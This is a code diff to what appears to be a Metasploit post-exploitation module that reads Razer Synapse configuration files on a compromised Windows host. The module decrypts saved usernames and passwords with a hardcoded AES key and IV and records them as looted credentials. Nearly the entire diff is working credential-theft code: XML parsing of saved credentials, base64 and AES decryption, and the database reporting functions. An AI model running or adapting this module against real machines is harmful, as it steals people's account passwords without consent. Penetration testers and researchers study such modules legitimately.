@@ -38,59 +38,85 @@ def initialize(info={})
38
38
) )
39
39
end
40
40
41
+ def is_base64? ( str )
42
+ str . match ( /^([A-Za-z0-9+\/ ]{4})*([A-Za-z0-9+\/ ]{4}|[A-Za-z0-9+\/ ]{3}=|[A-Za-z0-9+\/ ]{2}==)$/ ) ? true : false
43
+ end
44
+
41
45
# decrypt password
42
- def decrypt ( hash )
46
+ def decrypt ( pass )
47
+ pass = Rex ::Text . decode_base64 ( pass ) if is_base64? ( pass )
43
48
cipher = OpenSSL ::Cipher ::Cipher . new 'aes-256-cbc'
44
49
cipher . decrypt
45
50
cipher . key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
46
51
cipher . iv = "ryojvlzmdalyglrj"
47
52
48
- hash . each_pair { |user , pass |
49
- pass = pass . unpack ( "m" ) [ 0 ]
53
+ pass = pass . unpack ( "m" ) [ 0 ]
54
+ password = cipher . update pass
55
+ password << cipher . final
50
56
51
- password = cipher . update pass
52
- password << cipher . final rescue return nil
57
+ password
58
+ end
53
59
54
- store_creds ( user , password . split ( "||" ) [ 1 ] )
55
- print_good ( "Found credentials" )
56
- print_good ( "\t User: #{ user } " )
57
- print_good ( "\t Password: #{ password . split ( "||" ) [ 1 ] } " )
60
+ def report_cred ( opts )
61
+ service_data = {
62
+ address : opts [ :ip ] ,
63
+ port : opts [ :port ] ,
64
+ service_name : opts [ :service_name ] ,
65
+ protocol : 'tcp' ,
66
+ workspace_id : myworkspace_id
58
67
}
59
- end
60
68
61
- def store_creds ( user , pass )
62
- if db
63
- report_auth_info (
64
- :host => Rex ::Socket . resolv_to_dotted ( "www.razerzone.com" ) ,
65
- :port => 443 ,
66
- :ptype => 'password' ,
67
- :sname => 'razer_synapse' ,
68
- :user => user ,
69
- :pass => pass ,
70
- :duplicate_ok => true ,
71
- :active => true
72
- )
73
- vprint_status ( "Loot stored in the db" )
69
+ credential_data = {
70
+ post_reference_name : self . refname ,
71
+ session_id : session_db_id ,
72
+ origin_type : :session ,
73
+ private_data : opts [ :password ] ,
74
+ private_type : opts [ :type ] ,
75
+ username : opts [ :user ]
76
+ }
77
+
78
+ if opts [ :type ] == :nonreplayable_hash
79
+ credential_data [ :jtr_format ] = 'odf-aes-opencl'
74
80
end
81
+
82
+ credential_data . merge! ( service_data )
83
+
84
+ login_data = {
85
+ core : create_credential ( credential_data ) ,
86
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
87
+ } . merge ( service_data )
88
+
89
+ create_credential_login ( login_data )
75
90
end
76
91
77
92
# Loop throuhg config, grab user and pass
78
- def parse_config ( config )
79
- if not config =~ /<Version>\d <\/ Version>/
80
- creds = { }
81
- cred_group = config . split ( "</SavedCredentials>" )
82
- cred_group . each { |cred |
83
- user = /<Username>([^<]+)<\/ Username>/ . match ( cred )
84
- pass = /<Password>([^<]+)<\/ Password>/ . match ( cred )
85
- if user and pass
86
- creds [ user [ 1 ] ] = pass [ 1 ]
87
- end
93
+ def get_creds ( config )
94
+ creds = [ ]
95
+
96
+ return nil if !config . include? ( '<Version>' )
97
+
98
+ xml = ::Nokogiri ::XML ( config )
99
+ xml . xpath ( '//SavedCredentials' ) . each do |node |
100
+ user = node . xpath ( 'Username' ) . text
101
+ pass = node . xpath ( 'Password' ) . text
102
+ type = :password
103
+ begin
104
+ pass = decrypt ( pass )
105
+ rescue OpenSSL ::Cipher ::CipherError
106
+ type = :nonreplayable_hash
107
+ end
108
+ creds << {
109
+ user : user ,
110
+ pass : pass ,
111
+ type : type
88
112
}
89
- return creds
90
- else
91
- print_error ( "Module only works against configs from version < 1.7.15" )
92
- return nil
93
113
end
114
+
115
+ creds
116
+ end
117
+
118
+ def razerzone_ip
119
+ @razerzone_ip ||= Rex ::Socket . resolv_to_dotted ( "www.razerzone.com" )
94
120
end
95
121
96
122
# main control method
@@ -104,11 +130,23 @@ def run
104
130
contents = read_file ( accounts )
105
131
106
132
# read the contents of file
107
- creds = parse_config ( contents )
108
- if creds
109
- decrypt ( creds )
110
- else
111
- print_error ( "Could not read config or empty for #{ user [ 'UserName' ] } " )
133
+ creds = get_creds ( contents )
134
+ unless creds . empty?
135
+ creds . each do |c |
136
+ user = c [ :user ]
137
+ pass = c [ :pass ]
138
+ type = c [ :type ]
139
+
140
+ print_good ( "Found cred: #{ user } :#{ pass } " )
141
+ report_cred (
142
+ ip : razerzone_ip ,
143
+ port : 443 ,
144
+ service_name : 'http' ,
145
+ user : user ,
146
+ password : pass ,
147
+ type : type
148
+ )
149
+ end
112
150
end
113
151
end
114
152
end
0 commit comments